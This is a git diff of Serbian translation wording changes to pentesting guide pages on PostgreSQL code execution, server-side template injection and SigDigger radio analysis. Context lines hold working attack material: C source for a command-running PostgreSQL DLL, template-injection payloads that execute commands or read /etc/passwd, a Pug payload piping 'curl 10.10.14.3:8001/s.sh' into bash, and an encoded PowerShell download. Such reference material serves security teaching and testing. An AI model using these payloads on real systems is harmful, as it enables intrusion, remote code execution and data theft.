- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
|
||||
|
||||
## Lista za detekciju Brute-Force
|
||||
## Lista za detekciju Brute-Force-a
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt
|
||||
|
@ -75,7 +75,7 @@ HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
|
||||
```
|
||||
Ova greška je objašnjena u [PostgreSQL dokumentaciji](https://www.postgresql.org/docs/current/static/xfunc-c.html):
|
||||
|
||||
> Da bi se osiguralo da se dinamički učitani objekat ne učita u nekompatibilni server, PostgreSQL proverava da li datoteka sadrži "magic block" sa odgovarajućim sadržajem. Ovo omogućava serveru da detektuje očigledne nekompatibilnosti, kao što je kod kompajliran za drugu glavnu verziju PostgreSQL-a. Magic block je obavezan od PostgreSQL 8.2. Da biste uključili magic block, napišite ovo u jednoj (i samo jednoj) od izvornih datoteka modula, nakon što ste uključili zaglavlje fmgr.h:
|
||||
> Da bi se osiguralo da dinamički učitani objekat nije učitan u nekompatibilni server, PostgreSQL proverava da li datoteka sadrži "magic block" sa odgovarajućim sadržajem. Ovo omogućava serveru da detektuje očigledne nekompatibilnosti, kao što je kod kompajliran za drugu glavnu verziju PostgreSQL-a. Magic block je obavezan od PostgreSQL 8.2. Da biste uključili magic block, napišite ovo u jednoj (i samo jednoj) od izvornih datoteka modula, nakon što ste uključili zaglavlje fmgr.h:
|
||||
>
|
||||
> `#ifdef PG_MODULE_MAGIC`\
|
||||
> `PG_MODULE_MAGIC;`\
|
||||
@ -92,7 +92,7 @@ PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0
|
||||
```
|
||||
Za kompatibilnost, od suštinskog je značaja da se glavne verzije usklade. Stoga, kompajliranje biblioteke sa bilo kojom verzijom unutar 9.6.x serije treba da obezbedi uspešnu integraciju.
|
||||
|
||||
Da instalirate tu verziju na vašem sistemu:
|
||||
Da biste instalirali tu verziju na vašem sistemu:
|
||||
```bash
|
||||
apt install postgresql postgresql-server-dev-9.6
|
||||
```
|
||||
@ -127,7 +127,7 @@ https://github.com/Dionach/pgexec
|
||||
|
||||
### RCE u Windows-u
|
||||
|
||||
Sledeći DLL uzima kao ulaz **ime binarnog fajla** i **broj** **puta** koliko želite da ga izvršite i izvršava ga:
|
||||
Sledeća DLL uzima kao ulaz **ime binarnog fajla** i **broj** **puta** koliko želite da ga izvršite i izvršava ga:
|
||||
```c
|
||||
#include "postgres.h"
|
||||
#include <string.h>
|
||||
@ -166,7 +166,9 @@ PG_RETURN_VOID();
|
||||
```
|
||||
Možete pronaći DLL kompajliran u ovom zip-u:
|
||||
|
||||
{% file src="../../../images/pgsql_exec.zip" %}
|
||||
{{#file}}
|
||||
pgsql_exec.zip
|
||||
{{#endfile}}
|
||||
|
||||
Možete naznačiti ovom DLL-u **koji binarni fajl da izvrši** i broj puta koliko treba da ga izvrši, u ovom primeru će izvršiti `calc.exe` 2 puta:
|
||||
```bash
|
||||
@ -264,7 +266,7 @@ U **najnovijim verzijama** PostgreSQL-a, uvedena su ograničenja gde je `superus
|
||||
|
||||
Uprkos ovim ograničenjima, moguće je da autentifikovani `superuser` baze podataka **piše binarne datoteke** na datotečni sistem koristeći "velike objekte." Ova sposobnost se proteže na pisanje unutar direktorijuma `C:\Program Files\PostgreSQL\11\data`, što je od suštinskog značaja za operacije baze podataka kao što su ažuriranje ili kreiranje tabela.
|
||||
|
||||
Značajna ranjivost proizašla je iz komande `CREATE FUNCTION`, koja **dozvoljava pretraživanje direktorijuma** u direktorijum podataka. Kao rezultat, autentifikovani napadač bi mogao **iskoristiti ovo pretraživanje** da napiše deljenu biblioteku u direktorijum podataka i zatim je **učita**. Ova eksploatacija omogućava napadaču da izvrši proizvoljan kod, postignuvši izvršavanje nativnog koda na sistemu.
|
||||
Značajna ranjivost proizašla je iz komande `CREATE FUNCTION`, koja **dozvoljava prolaz kroz direktorijum** u direktorijum podataka. Kao rezultat, autentifikovani napadač bi mogao **iskoristiti ovaj prolaz** da upiše deljenu biblioteku u direktorijum podataka i zatim je **učita**. Ova eksploatacija omogućava napadaču da izvrši proizvoljan kod, postignuvši izvršavanje nativnog koda na sistemu.
|
||||
|
||||
#### Tok napada
|
||||
|
||||
|
@ -4,13 +4,13 @@
|
||||
|
||||
## Šta je SSTI (Server-Side Template Injection)
|
||||
|
||||
Server-side template injection je ranjivost koja se javlja kada napadač može da ubaci zlonamerni kod u šablon koji se izvršava na serveru. Ova ranjivost se može naći u raznim tehnologijama, uključujući Jinja.
|
||||
Server-side template injection je ranjivost koja se javlja kada napadač može da ubaci zlonamerni kod u šablon koji se izvršava na serveru. Ova ranjivost može se naći u raznim tehnologijama, uključujući Jinja.
|
||||
|
||||
Jinja je popularni engine za šablone koji se koristi u web aplikacijama. Razmotrimo primer koji ilustruje ranjivi deo koda koristeći Jinja:
|
||||
```python
|
||||
output = template.render(name=request.args.get('name'))
|
||||
```
|
||||
U ovom ranjivom kodu, `name` parametar iz korisničkog zahteva se direktno prosleđuje u šablon koristeći `render` funkciju. Ovo može potencijalno omogućiti napadaču da ubaci maliciozni kod u `name` parametar, što dovodi do server-side template injection.
|
||||
U ovom ranjivom kodu, `name` parametar iz korisničkog zahteva se direktno prosleđuje u šablon koristeći `render` funkciju. Ovo može potencijalno omogućiti napadaču da ubaci zlonamerni kod u `name` parametar, što dovodi do server-side template injection.
|
||||
|
||||
Na primer, napadač bi mogao da kreira zahtev sa payload-om poput ovog:
|
||||
```
|
||||
@ -18,20 +18,20 @@ http://vulnerable-website.com/?name={{bad-stuff-here}}
|
||||
```
|
||||
Payload `{{bad-stuff-here}}` se ubacuje u `name` parametar. Ovaj payload može sadržati Jinja template direktive koje omogućavaju napadaču da izvrši neovlašćen kod ili manipuliše template engine-om, potencijalno stičući kontrolu nad serverom.
|
||||
|
||||
Da bi se sprečile ranjivosti od server-side template injection, programeri treba da osiguraju da je korisnički unos pravilno očišćen i validiran pre nego što bude umetnut u template. Implementacija validacije unosa i korišćenje tehnika kontekstualnog bega može pomoći u smanjenju rizika od ove ranjivosti.
|
||||
Da bi se sprečile ranjivosti od server-side template injection, programeri treba da osiguraju da je korisnički unos pravilno očišćen i validiran pre nego što bude umetnut u template. Implementacija validacije unosa i korišćenje tehnika eskapiranja koje su svesne konteksta mogu pomoći u smanjenju rizika od ove ranjivosti.
|
||||
|
||||
### Detekcija
|
||||
|
||||
Da bi se detektovao Server-Side Template Injection (SSTI), inicijalno, **fuzzing template-a** je jednostavan pristup. Ovo uključuje ubacivanje niza specijalnih karaktera (**`${{<%[%'"}}%\`**) u template i analizu razlika u serverovom odgovoru na obične podatke u poređenju sa ovim specijalnim payload-om. Indikatori ranjivosti uključuju:
|
||||
|
||||
- Bacanje grešaka, otkrivajući ranjivost i potencijalno template engine.
|
||||
- Izbačene greške, koje otkrivaju ranjivost i potencijalno template engine.
|
||||
- Odsustvo payload-a u refleksiji, ili delovi nedostaju, što implicira da server obrađuje to drugačije nego obične podatke.
|
||||
- **Plaintext kontekst**: Razlikovati od XSS-a proverom da li server evaluira template izraze (npr. `{{7*7}}`, `${7*7}`).
|
||||
- **Kontekst koda**: Potvrditi ranjivost menjajući ulazne parametre. Na primer, menjajući `greeting` u `http://vulnerable-website.com/?greeting=data.username` da se vidi da li je serverov izlaz dinamičan ili fiksan, kao u `greeting=data.username}}hello` koji vraća korisničko ime.
|
||||
|
||||
#### Faza identifikacije
|
||||
|
||||
Identifikacija template engine-a uključuje analizu poruka greške ili ručno testiranje raznih payload-a specifičnih za jezik. Uobičajeni payload-i koji izazivaju greške uključuju `${7/0}`, `{{7/0}}`, i `<%= 7/0 %>`. Posmatranje serverovog odgovora na matematičke operacije pomaže u preciznom određivanju specifičnog template engine-a.
|
||||
Identifikacija template engine-a uključuje analizu poruka o grešci ili ručno testiranje raznih payload-a specifičnih za jezik. Uobičajeni payload-i koji uzrokuju greške uključuju `${7/0}`, `{{7/0}}`, i `<%= 7/0 %>`. Posmatranje serverovog odgovora na matematičke operacije pomaže u preciznom određivanju specifičnog template engine-a.
|
||||
|
||||
#### Identifikacija putem payload-a
|
||||
|
||||
@ -68,7 +68,7 @@ interaktivna tabela koja sadrži najefikasnije poliglotne injekcije šablona zaj
|
||||
|
||||
### Generički
|
||||
|
||||
U ovoj **reči** možete pronaći **definisane varijable** u okruženjima nekih od engine-a pomenutih u nastavku:
|
||||
U ovoj **listi reči** možete pronaći **definisane varijable** u okruženjima nekih od engine-a pomenutih u nastavku:
|
||||
|
||||
- [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt)
|
||||
- [https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt)
|
||||
@ -110,7 +110,7 @@ ${"freemarker.template.utility.Execute"?new()("id")}
|
||||
|
||||
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
|
||||
```
|
||||
**Freemarker - Obilaženje sandboks zaštite**
|
||||
**Freemarker - Obilaženje sandboks-a**
|
||||
|
||||
⚠️ radi samo na Freemarker verzijama ispod 2.3.30
|
||||
```java
|
||||
@ -169,7 +169,7 @@ ${T(java.lang.Runtime).getRuntime().exec('calc')}
|
||||
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
|
||||
```
|
||||
|
||||
Thymeleaf zahteva da se ovi izrazi postave unutar specifičnih atributa. Međutim, _inlining izraza_ je podržan za druge lokacije šablona, koristeći sintaksu poput `[[...]]` ili `[(...)]`. Tako, jednostavan SSTI test payload može izgledati kao `[[${7*7}]]`.
|
||||
Thymeleaf zahteva da se ovi izrazi postave unutar specifičnih atributa. Međutim, _inline izrazi_ su podržani za druge lokacije šablona, koristeći sintaksu poput `[[...]]` ili `[(...)]`. Tako, jednostavan SSTI test payload može izgledati kao `[[${7*7}]]`.
|
||||
|
||||
Međutim, verovatnoća da će ovaj payload raditi je generalno niska. Podrazumevana konfiguracija Thymeleaf-a ne podržava dinamičko generisanje šablona; šabloni moraju biti unapred definisani. Programeri bi morali implementirati svoj `TemplateResolver` da kreiraju šablone iz stringova u hodu, što je retko.
|
||||
|
||||
@ -201,9 +201,9 @@ el-expression-language.md
|
||||
```java
|
||||
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
|
||||
```
|
||||
**Obilaženje filtera**
|
||||
**Zaobilaženje filtera**
|
||||
|
||||
Mogu se koristiti višestruki izrazi promenljivih, ako `${...}` ne radi, pokušajte sa `#{...}`, `*{...}`, `@{...}` ili `~{...}`.
|
||||
Mogu se koristiti višestruki izrazi varijabli, ako `${...}` ne radi, pokušajte sa `#{...}`, `*{...}`, `@{...}` ili `~{...}`.
|
||||
|
||||
- Pročitajte `/etc/passwd`
|
||||
```java
|
||||
@ -261,7 +261,7 @@ Stara verzija Pebble ( < verzija 3.0.9):
|
||||
```java
|
||||
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
|
||||
```
|
||||
Nova verzija Pebble:
|
||||
Nova verzija Pebble :
|
||||
```java
|
||||
{% raw %}
|
||||
{% set cmd = 'id' %}
|
||||
@ -378,7 +378,7 @@ Expression Language (EL) je osnovna funkcija koja olakšava interakciju između
|
||||
- **JavaServer Pages (JSP)**: EL se koristi u JSP za pristup i manipulaciju podacima unutar JSP stranica, olakšavajući povezivanje elemenata stranice sa podacima aplikacije.
|
||||
- **Contexts and Dependency Injection for Java EE (CDI)**: EL se integriše sa CDI kako bi omogućio nesmetanu interakciju između web sloja i managed beans, osiguravajući koherentniju strukturu aplikacije.
|
||||
|
||||
Pogledajte sledeću stranicu da biste saznali više o **iskorišćavanju EL interpretera**:
|
||||
Pogledajte sledeću stranicu da biste saznali više o **eksploataciji EL interpretera**:
|
||||
|
||||
{{#ref}}
|
||||
el-expression-language.md
|
||||
@ -386,7 +386,7 @@ el-expression-language.md
|
||||
|
||||
### Groovy (Java)
|
||||
|
||||
Sledeći zaobilaženja Security Manager-a su preuzeta iz ovog [**writeup**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).
|
||||
Sledeći zaobilaženja Security Manager-a preuzeta su iz ovog [**writeup**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).
|
||||
```java
|
||||
//Basic Payload
|
||||
import groovy.*;
|
||||
@ -411,7 +411,7 @@ new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value=
|
||||
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
|
||||
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
|
||||
```
|
||||
### Ostali Java
|
||||
### Other Java
|
||||
|
||||
<figure><img src="../../images/image (7).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg</a></p></figcaption></figure>
|
||||
|
||||
@ -515,7 +515,7 @@ echo $templates->render('profile', ['name' => 'Jonathan']);
|
||||
|
||||
### PHPlib i HTML_Template_PHPLIB (PHP)
|
||||
|
||||
[HTML_Template_PHPLIB](https://github.com/pear/HTML_Template_PHPLIB) je isto što i PHPlib, ali portovan na Pear.
|
||||
[HTML_Template_PHPLIB](https://github.com/pear/HTML_Template_PHPLIB) je isto što i PHPlib, ali portovano na Pear.
|
||||
|
||||
`authors.tpl`
|
||||
```html
|
||||
@ -611,7 +611,7 @@ echo $t->finish($t->parse('OUT', 'authors'));
|
||||
|
||||
### patTemplate (PHP)
|
||||
|
||||
> [patTemplate](https://github.com/wernerwa/pat-template) PHP templating engine koja se ne kompajlira, koja koristi XML tagove za deljenje dokumenta na različite delove
|
||||
> [patTemplate](https://github.com/wernerwa/pat-template) PHP templating engine koji se ne kompajlira, koristi XML tagove za deljenje dokumenta na različite delove
|
||||
```xml
|
||||
<patTemplate:tmpl name="page">
|
||||
This is the main page.
|
||||
@ -629,7 +629,7 @@ Hello {NAME}.<br/>
|
||||
|
||||
### Handlebars (NodeJS)
|
||||
|
||||
Putanja Traversal (više informacija [ovde](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)).
|
||||
Path Traversal (više informacija [ovde](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)).
|
||||
```bash
|
||||
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
|
||||
```
|
||||
@ -667,9 +667,9 @@ URLencoded:
|
||||
### JsRender (NodeJS)
|
||||
|
||||
| **Šablon** | **Opis** |
|
||||
|------------|----------------------------------------|
|
||||
| | Evaluiraj i renderuj izlaz |
|
||||
| | Evaluiraj i renderuj HTML kodiran izlaz|
|
||||
| ---------- | -------------------------------------- |
|
||||
| | Evaluiraj i prikaži izlaz |
|
||||
| | Evaluiraj i prikaži HTML kodiran izlaz |
|
||||
| | Komentar |
|
||||
| i | Dozvoli kod (onemogućeno po defaultu) |
|
||||
|
||||
@ -693,7 +693,7 @@ URLencoded:
|
||||
- `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}`
|
||||
- `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}`
|
||||
|
||||
**Primer server side render**
|
||||
**Primer renderovanja sa servera**
|
||||
```javascript
|
||||
var pugjs = require("pug")
|
||||
home = pugjs.render(injected_page)
|
||||
@ -767,7 +767,7 @@ range.constructor(
|
||||
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby)
|
||||
|
||||
### Drugi Ruby
|
||||
### Ostali Ruby
|
||||
|
||||
<figure><img src="../../images/image (4).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg</a></p></figcaption></figure>
|
||||
|
||||
@ -812,7 +812,7 @@ Pogledajte sledeću stranicu da biste naučili trikove o **zaobilaženju izvrša
|
||||
|
||||
### Jinja2 (Python)
|
||||
|
||||
[Zvanična veb stranica](http://jinja.pocoo.org)
|
||||
[Zvanična stranica](http://jinja.pocoo.org)
|
||||
|
||||
> Jinja2 je potpuno opremljen engine za šablone za Python. Ima punu podršku za unicode, opcioni integrisani sandboxed izvršni okruženje, široko korišćen i licenciran pod BSD.
|
||||
|
||||
@ -897,14 +897,14 @@ ${x}
|
||||
|
||||
### Razor (.Net)
|
||||
|
||||
- `@(2+2) <= Uspeh`
|
||||
- `@() <= Uspeh`
|
||||
- `@("{{code}}") <= Uspeh`
|
||||
- `@ <= Uspeh`
|
||||
- `@{} <= GREŠKA!`
|
||||
- `@{ <= GREŠKA!`
|
||||
- `@(2+2) <= Success`
|
||||
- `@() <= Success`
|
||||
- `@("{{code}}") <= Success`
|
||||
- `@ <=Success`
|
||||
- `@{} <= ERROR!`
|
||||
- `@{ <= ERRROR!`
|
||||
- `@(1+2)`
|
||||
- `@( //C#Kod )`
|
||||
- `@( //C#Code )`
|
||||
- `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
|
||||
- `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
|
||||
|
||||
@ -930,7 +930,7 @@ Metoda .NET `System.Diagnostics.Process.Start` može se koristiti za pokretanje
|
||||
|
||||
### Mojolicious (Perl)
|
||||
|
||||
Čak i ako je to perl, koristi oznake poput ERB u Ruby-ju.
|
||||
Čak i ako je to Perl, koristi oznake poput ERB u Ruby-ju.
|
||||
|
||||
- `<%= 7*7 %> = 49`
|
||||
- `<%= foobar %> = Error`
|
||||
@ -942,7 +942,7 @@ Metoda .NET `System.Diagnostics.Process.Start` može se koristiti za pokretanje
|
||||
|
||||
U Go-ovom engine-u za šablone, potvrda njegove upotrebe može se izvršiti sa specifičnim payload-ima:
|
||||
|
||||
- `{{ . }}`: Otkrije strukturu podataka. Na primer, ako je objekat sa atributom `Password` prosleđen, `{{ .Password }}` bi mogao da ga otkrije.
|
||||
- `{{ . }}`: Otkrije strukturu podataka koja je uneta. Na primer, ako je objekat sa atributom `Password` prosleđen, `{{ .Password }}` bi mogao da ga otkrije.
|
||||
- `{{printf "%s" "ssti" }}`: Očekuje se da prikaže string "ssti".
|
||||
- `{{html "ssti"}}`, `{{js "ssti"}}`: Ovi payload-ovi bi trebali da vrate "ssti" bez dodavanja "html" ili "js". Dalje direktive mogu se istražiti u Go dokumentaciji [ovde](https://golang.org/pkg/text/template).
|
||||
|
||||
@ -950,7 +950,7 @@ U Go-ovom engine-u za šablone, potvrda njegove upotrebe može se izvršiti sa s
|
||||
|
||||
**XSS Eksploatacija**
|
||||
|
||||
Sa paketom `text/template`, XSS može biti jednostavan umetanje payload-a direktno. Nasuprot tome, paket `html/template` kodira odgovor kako bi to sprečio (npr., `{{"<script>alert(1)</script>"}}` rezultira `<script>alert(1)</script>`). Ipak, definicija i pozivanje šablona u Go-u mogu zaobići ovo kodiranje: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
|
||||
Sa paketom `text/template`, XSS može biti jednostavan umetanje payload-a direktno. Nasuprot tome, paket `html/template` kodira odgovor kako bi to sprečio (npr., `{{"<script>alert(1)</script>"}}` rezultira u `<script>alert(1)</script>`). Ipak, definicija i pozivanje šablona u Go-u mogu zaobići ovo kodiranje: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
|
||||
|
||||
vbnet Copy code
|
||||
|
||||
@ -976,7 +976,9 @@ Proverite ostatak [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/mast
|
||||
|
||||
## BlackHat PDF
|
||||
|
||||
{% file src="../../images/EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf" %}
|
||||
{{#file}}
|
||||
EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf
|
||||
{{#endfile}}
|
||||
|
||||
## Povezana Pomoć
|
||||
|
||||
|
@ -6,9 +6,9 @@
|
||||
|
||||
[**SigDigger** ](https://github.com/BatchDrake/SigDigger)je besplatan analizer digitalnih signala za GNU/Linux i macOS, dizajniran za ekstrakciju informacija iz nepoznatih radio signala. Podržava razne SDR uređaje putem SoapySDR, i omogućava podesivu demodulaciju FSK, PSK i ASK signala, dekodiranje analognog videa, analizu povremenih signala i slušanje analognih glasovnih kanala (sve u realnom vremenu).
|
||||
|
||||
### Osnovna konfiguracija
|
||||
### Basic Config
|
||||
|
||||
Nakon instalacije postoji nekoliko stvari koje možete razmotriti za konfiguraciju.\
|
||||
Nakon instalacije, postoji nekoliko stvari koje možete razmotriti da konfigurišete.\
|
||||
U podešavanjima (drugi dugme na tabu) možete odabrati **SDR uređaj** ili **odabrati datoteku** za čitanje i koju frekvenciju da sintonizujete i brzinu uzorkovanja (preporučuje se do 2.56Msps ako vaš PC to podržava)\\
|
||||
|
||||
.png>)
|
||||
@ -20,57 +20,59 @@ U ponašanju GUI-a preporučuje se da omogućite nekoliko stvari ako vaš PC to
|
||||
> [!NOTE]
|
||||
> Ako primetite da vaš PC ne hvata signale, pokušajte da onemogućite OpenGL i smanjite brzinu uzorkovanja.
|
||||
|
||||
### Upotreba
|
||||
### Uses
|
||||
|
||||
- Samo da **uhvatite deo signala i analizirate ga** samo držite dugme "Push to capture" koliko god vam je potrebno.
|
||||
|
||||
.png>)
|
||||
|
||||
- **Tuner** u SigDigger-u pomaže da **uhvatite bolje signale** (ali može ih i pogoršati). Idealno je početi sa 0 i nastaviti **povećavati dok** ne primetite da je **šum** koji se uvodi **veći** od **poboljšanja signala** koje vam je potrebno).
|
||||
- **Tuner** u SigDigger-u pomaže da **uhvatite bolje signale** (ali može ih i pogoršati). Idealno je početi sa 0 i **povećavati** dok ne pronađete da je **šum** koji se uvodi **veći** od **poboljšanja signala** koje vam je potrebno.
|
||||
|
||||
.png>)
|
||||
|
||||
### Sinhronizacija sa radio kanalom
|
||||
### Synchronize with radio channel
|
||||
|
||||
Sa [**SigDigger** ](https://github.com/BatchDrake/SigDigger)sinhronizujte se sa kanalom koji želite da čujete, konfigurišite opciju "Baseband audio preview", konfigurišite propusnost da dobijete sve informacije koje se šalju i zatim postavite Tuner na nivo pre nego što šum počne da se povećava:
|
||||
Sa [**SigDigger** ](https://github.com/BatchDrake/SigDigger)sinhronizujte se sa kanalom koji želite da čujete, konfigurišite opciju "Baseband audio preview", konfigurišite propusnost da dobijete sve informacije koje se šalju i zatim postavite Tuner na nivo pre nego što šum zaista počne da se povećava:
|
||||
|
||||
.png>)
|
||||
|
||||
## Zanimljive trikove
|
||||
## Interesting tricks
|
||||
|
||||
- Kada uređaj šalje serije informacija, obično je **prvi deo preambula** tako da **ne morate** da se **brinete** ako **ne pronađete informacije** ili ako postoje neki **greške**.
|
||||
- Kada uređaj šalje serije informacija, obično je **prvi deo preambula** tako da **ne morate** da **brinete** ako **ne pronađete informacije** ili ako postoje neki **greške**.
|
||||
- U okvirima informacija obično biste trebali **pronaći različite okvire dobro usklađene između njih**:
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
- **Nakon oporavka bitova možda ćete morati da ih obradite na neki način**. Na primer, u Mančesterskoj kodifikaciji, up+down će biti 1 ili 0, a down+up će biti drugo. Tako da parovi 1s i 0s (ups i downs) će biti pravi 1 ili pravi 0.
|
||||
- Čak i ako signal koristi Mančestersku kodifikaciju (nemoguće je pronaći više od dva 0s ili 1s u nizu), možete **pronaći nekoliko 1s ili 0s zajedno u preambuli**!
|
||||
- **Nakon oporavka bitova možda ćete morati da ih obradite na neki način**. Na primer, u Mančesterskoj kodifikaciji, uspon+pad će biti 1 ili 0, a pad+uspon će biti drugi. Tako da parovi 1s i 0s (usponi i padovi) će biti pravi 1 ili pravi 0.
|
||||
- Čak i ako signal koristi Mančestersku kodifikaciju (nemoguće je pronaći više od dva 0s ili 1s u nizu), možda ćete **pronaći nekoliko 1s ili 0s zajedno u preambuli**!
|
||||
|
||||
### Otkriće tipa modulacije sa IQ
|
||||
### Uncovering modulation type with IQ
|
||||
|
||||
Postoje 3 načina za skladištenje informacija u signalima: Modulacija **amplituda**, **frekvencija** ili **faza**.\
|
||||
Ako proveravate signal, postoje različiti načini da pokušate da otkrijete šta se koristi za skladištenje informacija (pronađite više načina ispod), ali dobar način je da proverite IQ graf.
|
||||
Postoje 3 načina za skladištenje informacija u signalima: Modulisanje **amplituda**, **frekvencija** ili **faza**.\
|
||||
Ako proveravate signal, postoje različiti načini da pokušate da otkrijete šta se koristi za skladištenje informacija (pronađite više načina u nastavku), ali dobar način je da proverite IQ graf.
|
||||
|
||||
.png>)
|
||||
|
||||
- **Detekcija AM**: Ako se na IQ grafu pojave, na primer, **2 kruga** (verovatno jedan na 0 i drugi na različitoj amplitudi), to može značiti da je ovo AM signal. To je zato što je na IQ grafu razdaljina između 0 i kruga amplituda signala, tako da je lako vizualizovati različite amplitude koje se koriste.
|
||||
- **Detekcija PM**: Kao na prethodnoj slici, ako pronađete male krugove koji nisu povezani između njih, to verovatno znači da se koristi fazna modulacija. To je zato što je na IQ grafu ugao između tačke i 0,0 faza signala, što znači da se koriste 4 različite faze.
|
||||
- **Detekcija AM**: Ako se na IQ grafu pojavi, na primer, **2 kruga** (verovatno jedan na 0 i drugi na različitoj amplitudi), to može značiti da je ovo AM signal. To je zato što je na IQ grafu razdaljina između 0 i kruga amplituda signala, tako da je lako vizualizovati različite amplitude koje se koriste.
|
||||
- **Detekcija PM**: Kao na prethodnoj slici, ako pronađete male krugove koji nisu povezani između njih, to verovatno znači da se koristi fazna modulacija. To je zato što je na IQ grafu, ugao između tačke i 0,0 faza signala, tako da to znači da se koriste 4 različite faze.
|
||||
- Imajte na umu da ako je informacija skrivena u činjenici da se faza menja, a ne u samoj fazi, nećete videti različite faze jasno diferencirane.
|
||||
- **Detekcija FM**: IQ nema polje za identifikaciju frekvencija (razdaljina do centra je amplituda, a ugao je faza).\
|
||||
Stoga, da biste identifikovali FM, trebali biste **samo videti osnovni krug** u ovom grafu.\
|
||||
Štaviše, različita frekvencija je "predstavljena" na IQ grafu kao **brzina akceleracije oko kruga** (tako da u SysDigger-u, kada odaberete signal, IQ graf se popunjava, ako primetite akceleraciju ili promenu pravca u kreiranom krugu, to može značiti da je ovo FM):
|
||||
Štaviše, različita frekvencija se "predstavlja" na IQ grafu kao **ubrzanje brzine oko kruga** (tako da u SysDigger-u, kada odaberete signal, IQ graf se popunjava, ako pronađete ubrzanje ili promenu pravca u kreiranom krugu, to može značiti da je ovo FM):
|
||||
|
||||
## AM Primer
|
||||
## AM Example
|
||||
|
||||
{% file src="../../images/sigdigger_20220308_165547Z_2560000_433500000_float32_iq.raw" %}
|
||||
{{#file}}
|
||||
sigdigger_20220308_165547Z_2560000_433500000_float32_iq.raw
|
||||
{{#endfile}}
|
||||
|
||||
### Otkriće AM
|
||||
### Uncovering AM
|
||||
|
||||
#### Proveravanje omotača
|
||||
#### Checking the envelope
|
||||
|
||||
Proveravajući AM informacije sa [**SigDigger** ](https://github.com/BatchDrake/SigDigger) i samo gledajući u **omotač**, možete videti različite jasne nivoe amplitude. Korišćeni signal šalje pulseve sa informacijama u AM, ovako izgleda jedan puls:
|
||||
